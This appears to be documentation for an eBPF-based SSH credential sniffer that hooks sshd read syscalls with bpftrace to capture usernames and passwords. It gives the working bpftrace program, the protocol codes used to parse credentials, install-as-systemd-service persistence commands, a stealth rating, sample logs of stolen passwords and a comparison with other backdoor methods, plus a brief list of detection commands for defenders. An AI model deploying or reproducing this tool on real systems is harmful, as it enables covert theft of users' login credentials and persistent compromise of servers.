Kernel-level tracing using eBPF to intercept sshd syscalls
This method uses eBPF (extended Berkeley Packet Filter) via bpftrace to attach to kernel tracepoints and capture data from sshd's read operations on privilege separation pipes.
| Attribute | Value |
|---|---|
| Performance | ⭐⭐⭐⭐ Low overhead |
| Stealth | ⭐⭐⭐ bpftrace process visible |
| Invalid Users | ✅ Captures all |
| SELinux | ✅ No changes required |
| Secure Boot | ✅ Compatible |
| Complexity | Low |
flowchart TB
subgraph "Kernel Space"
A[tracepoint:syscalls:sys_enter_read] --> B[Filter: comm == sshd]
B --> C[Store buffer address]
D[tracepoint:syscalls:sys_exit_read] --> E[Read buffer contents]
end
subgraph "User Space"
F[bpftrace] --> A
E --> G[Parse SSH protocol]
G --> H[Extract credentials]
H --> I[Log to syslog]
end
style F fill:#3498db
style I fill:#2ecc71
tracepoint:syscalls:sys_enter_read - Capture buffer address before read
tracepoint:syscalls:sys_exit_read - Read buffer contents after read completes
| Type Code | Content |
|---|---|
\x08 |
Username |
\x0c |
Password |
Format: \x<type>\x00\x00\x00\x<length><string>
# Install bpftrace (required)
sudo dnf install -y bpftrace
# Run in foreground (for testing)
sudo ./ssh-sniffer-ebpf.py --run
# Install as systemd service
sudo ./ssh-sniffer-ebpf.py --install
# View logs
sudo journalctl -t ssh-sniffer-ebpf -f
# Uninstall
sudo ./ssh-sniffer-ebpf.py --uninstall| Command | Description |
|---|---|
./ssh-sniffer-ebpf.py --run |
Run capture in foreground |
./ssh-sniffer-ebpf.py --install |
Install as systemd service |
./ssh-sniffer-ebpf.py --uninstall |
Remove service and script |
./ssh-sniffer-ebpf.py --status |
Show installation status |
./ssh-sniffer-ebpf.py --logs |
Show captured credentials (live) |
./ssh-sniffer-ebpf.py --help |
Show help message |
# Install bpftrace and kernel headers
sudo dnf install -y bpftrace kernel-devel-$(uname -r)Note: bpftrace installation pulls ~430MB of dependencies.
| Path | Description |
|---|---|
/usr/local/sbin/ssh-sniffer-ebpf.py |
Installed script |
/etc/systemd/system/ssh-sniffer-ebpf.service |
Systemd service unit |
[2025-01-15 10:30:45] user=root,password=secret123
[2025-01-15 10:31:02] user=admin,password=P@ssw0rd
[2025-01-15 10:31:15] user=invaliduser,password=guessed
# Via systemd journal
journalctl -u ssh-sniffer-ebpf -f
journalctl -t ssh-sniffer-ebpf -f
# When running in foreground
# Output appears directly in terminaltracepoint:syscalls:sys_enter_read
/comm == "sshd" && args->fd >= 4 && args->fd <= 15/
{
@fd[tid] = args->fd;
@buf[tid] = args->buf;
@on[tid] = 1;
}
tracepoint:syscalls:sys_exit_read
/comm == "sshd" && @on[tid] == 1 && args->ret >= 6 && args->ret <= 50/
{
printf("SSHCAP:%r:END\n", buf(@buf[tid], args->ret));
delete(@fd[tid]);
delete(@buf[tid]);
delete(@on[tid]);
}The script filters out noise patterns:
- SELinux context strings
- Device paths (
/dev/,/usr/) - SSH protocol negotiation data
- Terminal escape sequences
# Check if bpftrace is installed
which bpftrace
bpftrace --version
# Check if service is running
systemctl status ssh-sniffer-ebpf
# Test capture
ssh -o PreferredAuthentications=password testuser@localhost- Visible Process: The bpftrace process is visible in
ps aux - Kernel Headers: Requires kernel headers matching running kernel
- Dependencies: Large dependency footprint (~430MB)
- Protocol Parsing: Relies on SSH internal protocol format which may vary
Defenders can detect this method by:
# Check for bpftrace processes
ps aux | grep bpftrace
# Check for the service
systemctl list-units | grep ssh-sniffer
# Check for eBPF programs
bpftool prog list
# Monitor for tracepoint attachments
cat /sys/kernel/debug/tracing/kprobe_events# Via script
sudo ./ssh-sniffer-ebpf.py --uninstall
# Manual removal
sudo systemctl stop ssh-sniffer-ebpf
sudo systemctl disable ssh-sniffer-ebpf
sudo rm /etc/systemd/system/ssh-sniffer-ebpf.service
sudo rm /usr/local/sbin/ssh-sniffer-ebpf.py
sudo systemctl daemon-reload| Feature | eBPF | LD_PRELOAD | Patched OpenSSH |
|---|---|---|---|
| Kernel-level access | ✅ | ❌ | ❌ |
| No sshd modification | ✅ | ✅ | ❌ |
| No SELinux changes | ✅ | ✅ | ✅ |
| Validates credentials | ❌ | ✅ | ❌ |
| Captures source IP | ❌ | ✅ | ✅ |
| Zero runtime overhead | ❌ | ❌ | ✅ |
| Visible process | ✅ | ❌ | ❌ |